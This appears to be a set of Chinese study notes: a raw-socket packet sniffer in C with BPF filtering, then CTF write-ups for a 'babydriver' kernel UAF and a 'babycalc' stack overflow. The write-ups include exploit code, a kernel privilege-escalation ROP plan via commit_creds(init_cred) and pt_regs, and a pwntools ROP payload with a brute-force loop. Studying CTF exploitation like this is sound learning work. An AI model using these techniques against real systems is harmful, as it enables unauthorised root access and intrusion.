Sniffer 案例三

接下来要实现数据包的过滤,Linux 内核允许我们把一个名为 LPF 的过滤器直接放到 PF_PACKET 协议处理例程中(在网卡接收中断执行后立即执行)

  • 该过滤程序可以根据使用者的定义来运行
  • 由一种名为 BPF(Berkely Packet Filter 伯克利数据包过滤器)的伪机器码写成的

使用 tcpdump 可以快速生成 BPF 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  Sniffer sudo tcpdump -d host 192.168.157.136 
(000) ldh [12]
(001) jeq #0x800 jt 2 jf 6
(002) ld [26]
(003) jeq #0xc0a89d88 jt 12 jf 4
(004) ld [30]
(005) jeq #0xc0a89d88 jt 12 jf 13
(006) jeq #0x806 jt 8 jf 7
(007) jeq #0x8035 jt 8 jf 13
(008) ld [28]
(009) jeq #0xc0a89d88 jt 12 jf 10
(010) ld [38]
(011) jeq #0xc0a89d88 jt 12 jf 13
(012) ret #262144
(013) ret #0
  • 第 0-1,6-7 行:确定被抓到的帧是否在传输着 IP,ARP 或者 RARP 协议
  • 第 2-5,8-11 行:比较源地址或者目的地址是否与 192.168.157.1 相同
  • 将第12格的值与协议的特征值比较,如果比较失败,那么丢弃这个包

在C语言中,建立一个 sock_filter 并为它绑定一个打开的端口,就可以使用该 BPF

使用 tcpdump 可以生成 BPF 对应的C代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  Sniffer sudo tcpdump -dd host 192.168.157.136             
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 4, 0x00000800 },
{ 0x20, 0, 0, 0x0000001a },
{ 0x15, 8, 0, 0xc0a89d88 },
{ 0x20, 0, 0, 0x0000001e },
{ 0x15, 6, 7, 0xc0a89d88 },
{ 0x15, 1, 0, 0x00000806 },
{ 0x15, 0, 5, 0x00008035 },
{ 0x20, 0, 0, 0x0000001c },
{ 0x15, 2, 0, 0xc0a89d88 },
{ 0x20, 0, 0, 0x00000026 },
{ 0x15, 0, 1, 0xc0a89d88 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },

最后得到最终的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  Sniffer sudo ./test2
----------
199 bytes read
Source MAC address: 00:0c:29:bf:5f:3f
Destination MAC address: 00:50:56:ef:45:fa
Source host 192.168.157.2
Dest host 192.168.157.136
Source,Dest ports 53,36313
Layer-4 protocol 17
----------
102 bytes read
Source MAC address: 00:0c:29:bf:5f:3f
Destination MAC address: 00:50:56:ef:45:fa
Source host 192.168.157.2
Dest host 192.168.157.136
Source,Dest ports 53,46817
Layer-4 protocol 17
----------
213 bytes read
Source MAC address: 00:0c:29:bf:5f:3f
Destination MAC address: 00:50:56:ef:45:fa
Source host 192.168.157.2
Dest host 192.168.157.136
Source,Dest ports 53,59949
Layer-4 protocol 17
----------

Sniffer 代码

下面给出我写的 Sniffer 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <netinet/if_ether.h>
#include <netinet/tcp.h>
#include <net/if.h>
#include <linux/ip.h>
#include <linux/filter.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <time.h>

int backupInit(FILE **file){
*file = fopen("log","w+");

if(file == NULL){
return -1;
}
return 0;
}

int printLog(char *str,FILE* file){
fprintf(stdout,str);
fprintf(file,str);
}

int getNowtime(FILE* file)
{
static char str[60]={0};
char YMD[15] = {0};
char HMS[10] = {0};
time_t current_time;
struct tm* now_time;

char *cur_time = (char *)malloc(21*sizeof(char));
time(&current_time);
now_time = localtime(&current_time);

strftime(YMD, sizeof(YMD), "%F ", now_time);
strftime(HMS, sizeof(HMS), "%T", now_time);

strncat(cur_time, YMD, 11);
strncat(cur_time, HMS, 8);

sprintf(str,"==========\nCurrent time: %s\n==========\n", cur_time);
printLog(str,file);
free(cur_time);

cur_time = NULL;
return 0;
}

int change(size_t num,int key){
return (num >> (key*8))&0x000000ff;
}

int main(int argc, char **argv) {
int sock, n;
FILE* file;
char buffer[2048];
char str[512];
unsigned char *ethhead;
struct iphdr *iphead;
struct tcphdr *tcphead;

struct sock_filter BPF_code[]= {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 4, 0x00000800 },
{ 0x20, 0, 0, 0x0000001a },
{ 0x15, 8, 0, 0xc0a89d88 },
{ 0x20, 0, 0, 0x0000001e },
{ 0x15, 6, 7, 0xc0a89d88 },
{ 0x15, 1, 0, 0x00000806 },
{ 0x15, 0, 5, 0x00008035 },
{ 0x20, 0, 0, 0x0000001c },
{ 0x15, 2, 0, 0xc0a89d88 },
{ 0x20, 0, 0, 0x00000026 },
{ 0x15, 0, 1, 0xc0a89d88 },
{ 0x6, 0, 0, 0x00040000 },
{ 0x6, 0, 0, 0x00000000 },
};

struct sock_fprog Filter;

Filter.len = 14;
Filter.filter = BPF_code;

if ((sock=socket(PF_PACKET, SOCK_RAW,htons(ETH_P_IP)))<0){
perror("socket");
exit(1);
}

if(backupInit(&file)<0){
perror("backup");
exit(1);
}

if(setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER,&Filter, sizeof(Filter))<0){
perror("setsockopt");
close(sock);
exit(1);
}

getNowtime(file);

while (1) {
n = recvfrom(sock,buffer,2048,0,NULL,NULL);
sprintf(str,"%d bytes read\n",n);
printLog(str,file);

if (n<42) {
perror("recvfrom():");
printf("Incomplete packet (errno is %d)\n",errno);
close(sock);
exit(0);
}

ethhead = buffer;
sprintf(str,"Source MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x\n",
ethhead[0],ethhead[1],ethhead[2],
ethhead[3],ethhead[4],ethhead[5]);
printLog(str,file);

sprintf(str,"Destination MAC address: "
"%02x:%02x:%02x:%02x:%02x:%02x\n",
ethhead[6],ethhead[7],ethhead[8],
ethhead[9],ethhead[10],ethhead[11]);
printLog(str,file);

iphead = (struct iphdr*)(buffer+14);
tcphead = (struct tcphdr*)(buffer+14+20);

if (iphead->version > 0) {
sprintf(str,"Source host %d.%d.%d.%d\n",
change(iphead->saddr,0),change(iphead->saddr,1),
change(iphead->saddr,2),change(iphead->saddr,3));
printLog(str,file);

sprintf(str,"Dest host %d.%d.%d.%d\n",
change(iphead->daddr,0),change(iphead->daddr,1),
change(iphead->daddr,2),change(iphead->daddr,3));
printLog(str,file);

sprintf(str,"Source ports:%d\nDest ports:%d\n",
tcphead->source,tcphead->dest);
printLog(str,file);

sprintf(str,"Layer-4 protocol %d\n",iphead->protocol);
printLog(str,file);
}

sprintf(str,"----------\n");
printLog(str,file);
}
}

参考:NSFOCUS绿盟科技

babydriver

先进行解压:

1
2
mv rootfs.cpio rootfs.cpio.gz 
gunzip rootfs.cpio.gz
  • 这个 rootfs.cpio 其实是个压缩包,不过它省略了后缀“.gz”,这里需要先改名后解压
1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
  • smep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

漏洞分析

1
2
3
4
5
6
7
void __fastcall babyopen(inode *inode, FILE *fp)
{
_fentry__(inode, fp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
}
  • 伪条件竞争引发的 UAF 漏洞,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall babyioctl(FILE *fp, unsigned int command, __int64 arg)
{
_fentry__(fp, command);
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(arg, 0x24000C0LL);// void *kmalloc(size_t size, int flags)
babydev_struct.device_buf_len = arg;
printk("alloc done\n");
}
else
{
printk("13defalut:arg is %ld\n", arg);
}
}
  • 可以再释放后再申请(改写大小)

babydriver 是我们入门内核的第一道题目,现在来看看它的两个变种

变种一:添加 KPTI 和 kaslr

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 pti=on kaslr' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
  • smep
  • kaslr
  • KPTI(在 append 中添加 pti=on

KPTI(Kernel Page Table Isolation)就是内核页表隔离(内核版本 4.15 以上),使内核与用户态进程使用两套独立的页表

  • 在 Linux 中,寄存器 CR3 用于存储当前的 PGD 地址(四级页表结构:PGD->PUD->PMD->PTE
  • 如果开启了 KPTI,则在内核态与用户态切换时会同时切换 CR3
  • 为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址)
  • 只需要将 CR3 的第 13 位取反便能完成页表切换的操作

KPTI:会使 ret2usr 失效,在用户空间中构造 fake tty_operations 也会失效,在 ROP 中需要切换 CR3 的 gadget

KPTI pass:使用 seq_operations + pt_regs

结构体 seq_operations 的条目如下:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 当我们打开一个 stat 文件时(如 /proc/self/stat)便会在内核空间中分配一个 seq_operations 结构体
  • 当我们 read 一个 stat 文件时,内核会调用其 proc_opsproc_read_iter 指针,然后调用 seq_operations->start 函数指针

结构体 pt_regs 的条目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
  • 在系统调用当中有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15
  • 只需要寻找到一条形如 add rsp, val; ret 的 gadget 便能够完成 ROP

于是泄露思路如下:

  • 先执行两次 open("/dev/babydev", O_RDWR)
  • 执行 ioctl(fd[0], 0x10001, 0x20),修改内核结构体的大小为 0x20(使 seq_operations 可以被放入这里)
  • 释放 fd[0],并且执行 open("/proc/self/stat", O_RDONLY)(内核结构体被释放,又被申请回来存放 seq_operations
  • 此时 fd[1] 仍然指向内核结构体,于是用 read(fd[1], leak_data, 0x10) 泄露内核基地址

使用如下命令来查找需要的偏移:(使用前先关闭 kaslr,并开启 root 权限)

1
2
3
4
/ # cat /proc/kallsyms | grep commit_creds
ffffffff810a1420 T commit_creds
/ # cat /proc/kallsyms | grep init_cred
ffffffff81e48c60 D init_cred

接下来需要把 seq_operations->start 覆盖为一个 gadget(类似于 add rsp, offset;...; ret;

在开启 KPTI 内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误

常规设置需要从上到下执行3个 gadget:(改写 CR3 的第13位)

  • pop rdi; ret;(RDI 写入 0x6f0
  • mov cr4, rdi; ret;
  • swapgs; pop rbp; ret;

使用 pt_regs 在内核态写 ROP 链,就没有那么多空间来放入 gadget,于是我们用 swapgs_restore_regs_and_return_to_usermode 函数一次搞定(低版本的内核没有这个函数)

  • 需要的栈布局如下:
1
2
3
4
5
6
7
8
swapgs_restore_regs_and_return_to_usermode + 22
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss
  • 只要把 swapgs_restore_regs_and_return_to_usermode + 22 放在 R10 的位置就可以符合条件

综合上面的内容,我们可以得到劫持控制流的思路:

  • 执行 write(fd[1], &magic_addr, 8) 写入形如 add rsp, 0x148; ...; ret; 的 gadget
  • 通过 pt_regs 构造 ROP 链(R10 写上 swapgs_restore_regs_and_return_to_usermode + 22
  • 在 gadget 打上断点,然后计算该 gadget 到 pt_regs 结构体的偏移,寻找准确的 gadget

在实际的调试中,我发现 pt_regs 的内容没有那么规整(可能是 sys_read 破坏了 pt_regs 原本的结构),下面给一个调试案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0x55555555;"
"mov r14, 0x44444444;"
"mov r13, 0x33333333;"
"mov r12, 0x22222222;"
"mov rbp, 0xbbbb1111;"
"mov rbx, 0xbbbb2222;"
"mov r11, 0x11111111;"
"mov r10, 0x11110000;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

GDB 部分内存如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> telescope 0xffff8800027cbdd8
00:0000│ rsp 0xffff8800027cbdd8 —▸ 0xffffffff8122fab8 ◂— mov r15, rax
01:00080xffff8800027cbde0 —▸ 0xffffffff810ee6a9 ◂— xor edx, edx
02:00100xffff8800027cbde8 —▸ 0x7fff99311170 ◂— 0
03:00180xffff8800027cbdf0 —▸ 0xffff88000276c1c0 ◂— 0
04:00200xffff8800027cbdf8 ◂— 8
05:0028│ rsi 0xffff8800027cbe00 ◂— 0
......
0c:00600xffff8800027cbe38 ◂— push rbp /* 0x55555555; 'UUUU' */
0d:0068│ rbp 0xffff8800027cbe40 —▸ 0xffff8800027cbec8 —▸ 0xffff8800027cbf00 —▸ 0xffff8800027cbf48 ◂— adc dword ptr [rcx], edx /* 0xbbbb1111 */
0e:00700xffff8800027cbe48 —▸ 0xffffffff8120ad17 ◂— mov rdi, qword ptr [rbp - 0x18]
0f:00780xffff8800027cbe50 ◂— add byte ptr [rax], al /* 0x20000 */
......
28:0140│ r12 0xffff8800027cbf18 ◂— 0
29:01480xffff8800027cbf20 ◂— adc byte ptr [rdi], cl /* 0xfdb69a886c1b0f10 */
2a:01500xffff8800027cbf28 ◂— and ah, byte ptr [rdx] /* 0xbbbb2222 */
2b:01580xffff8800027cbf30 ◂— and ah, byte ptr [rdx] /* 0x22222222; '""""' */
2c:01600xffff8800027cbf38 ◂— xor esi, dword ptr [rbx] /* 0x33333333; '3333' */
2d:01680xffff8800027cbf40 ◂— add byte ptr [rax], r8b /* 0x44444444; 'DDDD' */
2e:01700xffff8800027cbf48 ◂— adc dword ptr [rcx], edx /* 0xbbbb1111 */
2f:01780xffff8800027cbf50 —▸ 0xffffffff81819c32 ◂— mov qword ptr [rsp + 0x50], rax
......
37:01b8│ 0xffff8800027cbf90 ◂— add byte ptr [rax], al /* 0x11110000 */
pwndbg>
38:01c0│ 0xffff8800027cbf98 ◂— cdq /* 0x99999999 */
39:01c8│ 0xffff8800027cbfa0 ◂— mov byte ptr [rax + 0x8888], cl /* 0x88888888 */
  • 注意 0xbbbb2222 -> 0xbbbb11110x11110000 -> 0x88888888
  • ROP 的构造思路:
    • 0xbbbb2222-0x33333333 分别放入 pop_rdi_ret init_cred commit_creds
    • 0x44444444 放入 add_rsp_offset_ret 以跳转到 0x11110000
    • 0x11110000 中放入 swapgs_restore_regs_and_return_to_usermode + 22
    • seq_operations->start 中写入的 gadget 需要把栈迁移的 ROP 链上

本题目给的内核版本是 4.4.72,没有 KPTI 和 swapgs_restore_regs_and_return_to_usermode 函数,因此没法完成演示

下面给出非完整的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <asm/ldt.h>

#define COMMIT_CREDS 0xffffffff810a1420
#define INIT_CRED 0xffffffff81e48c60

size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;

size_t kernel_offset = 0;
size_t kernel_base = 0xffffffff81000000;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveReg()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("saved");
}

void getRootShell(void)
{
if(getuid()){
puts("wrong");
exit(-1);
}
else{
puts("root");
system("/bin/sh");
}
}

int seq_fd;
size_t pop_rdi_ret;
size_t init_cred;
size_t swapgs;
size_t add_rsp_offset_ret;
size_t magic_addr;
size_t mov_cr4_ret;
size_t swapgs_restore_regs_and_return_to_usermode;

int main(void)
{
int fd[10];
size_t leak_data[0x10];

saveReg();

fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);

ioctl(fd[0], 0x10001, 0x20);
close(fd[0]);

seq_fd = open("/proc/self/stat", O_RDONLY);

read(fd[1], leak_data, 0x10);
for (int i = 0; i < 2; i++)
printf("data dump %d: %p\n", i, leak_data[i]);

kernel_offset = leak_data[0] - 0xffffffff8122f4d0;
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

printf("Kernel offset: %llx\n", kernel_offset);
printf("Kernel base: %p\n", kernel_base);

commit_creds = COMMIT_CREDS + kernel_offset;
init_cred = INIT_CRED + kernel_offset;

pop_rdi_ret = 0xffffffff810d238d + kernel_offset; /* pop rdi; ret; */
swapgs = 0xffffffff81063694 + kernel_offset; /* swapgs; pop rbp; ret; */
mov_cr4_ret = 0xffffffff81004d80 + kernel_offset; /* mov cr4, rdi; pop rbp; ret; */

magic_addr = kernel_offset + 0xffffffff810d238d; /* 为了打断点而随便找的 */
add_rsp_offset_ret = kernel_offset;
swapgs_restore_regs_and_return_to_usermode = kernel_offset;

printf("magic_addr: 0x%llx\n", magic_addr);
sleep(3);

write(fd[1], &magic_addr, 8);
__asm__(
"mov r15, 0x55555555;"
"mov r14, add_rsp_offset_ret;"
"mov r13, commit_creds;"
"mov r12, init_cred;"
"mov rbp, 0xbbbb1111;"
"mov rbx, pop_rdi_ret;"
"mov r11, 0x11111111;"
"mov r10, swapgs_restore_regs_and_return_to_usermode;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

getRootShell();
}

小结:

主要是参考 墨晚鸢 大佬的博客:

他给出的参考题目应该是改过内核版本的,我手上没有对应版本的题目,最后只能将就了

之后抽时间学一下 ldt_struct 的利用

babycalc

1
2
3
4
5
6
babycalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05ede67cc5aa402b2f1ee02f5e62dd05e80a1f8a, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,NX

漏洞分析

1
2
3
4
unsigned __int8 v0; // al
char buf[208]; // [rsp+0h] [rbp-100h] BYREF
unsigned __int8 v[16]; // [rsp+D0h] [rbp-30h]
int i; // [rsp+FCh] [rbp-4h]
1
2
3
4
printf("number-%d:", (unsigned int)(i + 1));
buf[(int)read(0, buf, 0x100uLL)] = 0; // 栈溢出
v0 = strtol(buf, 0LL, '\n');
v[i] = v0;
  • 有栈溢出,可以修改i
  • 配合后面的赋值可以修改一字节

入侵思路

首先需要绕过一个 check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( v[2] * v[1] * v[0] - v[3] != 0x8D56
|| v[0] != 0x13
|| v[2] * 0x13 * v[1] + v[3] != 0x8DE2
|| (v[10] + v[0] - v[5]) * v[13] != 0x8043
|| (v[1] * v[0] - v[2]) * v[3] != 0xAC8A
|| (v[2] + v[1] * v[0]) * v[3] != 0xC986
|| v[6] * v[5] * v[4] - v[7] != 0xF06D
|| v[7] * v[12] + v[1] + v[15] != 0x4A5D
|| v[6] * v[5] * v[4] + v[7] != 0xF1AF
|| (v[5] * v[4] - v[6]) * v[7] != 0x8E03D
|| v[8] != 50
|| (v[6] + v[5] * v[4]) * v[7] != 0x8F59F
|| v[10] * v[9] * v[8] - v[11] != 0x152FD3
|| v[10] * v[9] * v[8] + v[11] != 0x15309D
|| (v[9] * v[8] - v[10]) * v[11] != 0x9C48A
|| (v[8] * v[2] - v[13]) * v[9] != 0x4E639
|| (v[10] + v[9] * v[8]) * v[11] != 0xA6BD2
|| v[14] * v[13] * v[12] - v[15] != 0x8996D
|| v[14] * v[13] * v[12] + v[15] != 0x89973
|| v[11] != 101
|| (v[13] * v[12] - v[14]) * v[15] != 0x112E6
|| (v[14] + v[13] * v[12]) * v[15] != 0x11376 )
{
exit(0);
}

直接用 z3 求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from z3 import *

v1,v2,v3,v4 = Ints('v1 v2 v3 v4')
v5,v6,v7,v8 = Ints('v5 v6 v7 v8')
v9,v10,v11,v12 = Ints('v9 v10 v11 v12')
v13,v14,v15,v16 = Ints('v13 v14 v15 v16')

solver = Solver()
solver.add(v1*v2*v3-v4==0x8D56)
solver.add(v1==0x13)
solver.add(v3*0x13*v2+v4==0x8DE2)
solver.add((v11+v1-v6)*v14==0x8043)
solver.add((v2*v1-v3)*v4==0xAC8A)
solver.add((v3+v2*v1)*v4==0xC986)
solver.add(v7*v6*v5-v8==0xF06D)
solver.add(v8*v13+v2+v16==0x4A5D)
solver.add(v7*v6*v5+v8==0xF1AF)
solver.add((v6*v5-v7)*v8==0x8E03D)
solver.add(v9==50)
solver.add((v7+v6*v5)*v8==0x8F59F)
solver.add(v11*v10*v9-v12==0x152FD3)
solver.add(v11*v10*v9+v12==0x15309D)
solver.add((v10*v9-v11)*v12==0x9C48A)
solver.add((v9*v3-v14)*v10==0x4E639)
solver.add((v11+v10*v9)*v12==0xA6BD2)
solver.add(v15*v14*v13-v16==0x8996D)
solver.add(v15*v14*v13+v16==0x89973)
solver.add(v12==101)
solver.add((v14*v13-v15)*v16==0x112E6)
solver.add((v15+v14*v13)*v16==0x11376)

if solver.check() == sat:
ans = solver.model()
print(ans)
else:
print("no ans!")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[v1 = 19,
v9 = 50,
v12 = 101,
v10 = 131,
v4 = 70,
v3 = 53,
v13 = 118,
v2 = 36,
v16 = 3,
v15 = 24,
v7 = 17,
v8 = 161,
v6 = 66,
v5 = 55,
v11 = 212,
v14 = 199]

入侵思路就是通过一字节修改来伪造返回地址:

1
2
3
4
5
6
7
8
9
pwndbg> bt
#0 0x00000000004007f0 in ?? ()
#1 0x0000000000400c3c in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
pwndbg> telescope 0x0000000000400c3c
00:0000│ 0x400c3c ◂— nop
01:0008│ 0x400c44 ◂— mov r15d, edi
02:0010│ 0x400c4c ◂— lea esp, [rip + 0x2011be]
03:0018│ 0x400c54 ◂— lea ebp, [rip + 0x2011be]
1
2
3
4
5
6
7
8
9
pwndbg> bt
#0 0x0000000000400ba6 in ?? ()
#1 0x0000000000400c18 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
pwndbg> telescope 0x0000000000400c18
00:0000│ 0x400c18 ◂— leave
01:0008│ 0x400c20 ◂— add byte ptr [rax], al
02:0010│ 0x400c28 ◂— mov eax, 0
03:0018│ 0x400c30 ◂— 0xe800000000b8ffff
  • 通过覆盖返回地址低位就可以构造出两个 leave ret,然后打栈迁移
1
2
3
4
5
0x400bb7    leave  
0x400bb8 ret

0x400c18 leave
0x400c19 ret

这里的栈迁移比较靠运气,核心点就是利用程序的置空操作:

1
buf[(int)read(0, buf, 0x100uLL)] = 0; 

利用这一点可以把栈上存储的 RBP 末尾给置空,从而可以把 RSP 迁移到某个末尾为 \x00 的栈地址上,如果这里刚好是 ROP 链就可以劫持程序流(但栈的随机化程度大,恰好命中的可能比较小)

下面展示一个成功的案例:

1
2
RBP  0x7ffd50a0aab0 —▸ 0x7ffd50a0aa00 ◂— 0x1
RSP 0x7ffd50a0a9b0 ◂— 0x6161616161613432 ('24aaaaaa')
1
2
3
4
5
pwndbg> telescope 0x7ffd50a0aa00
00:00000x7ffd50a0aa00 ◂— 0x1
01:00080x7ffd50a0aa08 —▸ 0x400ca3 ◂— pop rdi
02:00100x7ffd50a0aa10 —▸ 0x602018 (puts@got.plt) —▸ 0x7f1af8eb96a0 (puts) ◂— push r12
03:00180x7ffd50a0aa18 —▸ 0x602018 (puts@got.plt) —▸ 0x7f1af8eb96a0 (puts) ◂— push r12
1
2
3
4
5
  0x400c18    leave  
0x400c19 ret <0x400ca3>

0x400ca3 pop rdi
0x400ca4 ret

爆破脚本如下:

1
2
3
4
5
6
7
while(1):
try:
success(">> testing")
pwn()
break
except:
sleep(0.1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
v3 = [19, 36, 53, 70, 55, 66, 17, 161, 50, 131, 212, 101, 118, 199, 24, 3]

pop_rdi_ret = 0x0000000000400ca3
puts_got = 0x602018
puts_plt = 0x4005d0

code = p64(1)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)
payload = '24'+'a'*(0x70-2)+code.ljust(0x60,"b")
payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15])
payload += '\x00'*(0x18+4)+p32(0x38)
p.sendafter("number-1:",payload)

p.recvuntil("good done\n")

puts_libc = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
success("puts_libc >> "+hex(puts_libc))

p.interactive()

拿到远程 puts 地址后,可以到如下网站中查看 libc 版本:

1675319907757

  • 最后确定 libc6_2.23-0ubuntu11.3_amd64

在 ROP 链的末尾写上程序某个地方的地址,就可以实现循环,常用的地址有3处:

  • main:主函数
  • pwn:存在漏洞的函数
  • start:程序的入口函数

经过调试发现前两个函数都不适合进行循环,只有在 ROP 链末端写入 start 才有可能 get shell(其实是试出来的)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

arch = 64
challenge = './babycalc'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

csu_front_addr=0x400C80
csu_end_addr=0x400C9A

def pwn():
local = 1
if local:
p = process(challenge)
else:
p = remote('tcp.cloud.dasctf.com', '22084')

def debug():
gdb.attach(p,"b*0x4007F0\n b*0x400BA6\n b*0x40079B\n")
pause()

v3 = [19, 36, 53, 70, 55, 66, 17, 161, 50, 131, 212, 101, 118, 199, 24, 3]

pop_rdi_ret = 0x0000000000400ca3
pop_rsi_ret = 0x0000000000400ca1
puts_got = 0x602018
puts_plt = 0x4005d0
read_plt = 0x4005F0
main_addr = 0x400C1A
pwn_addr = 0x400789
start_addr = 0x400650

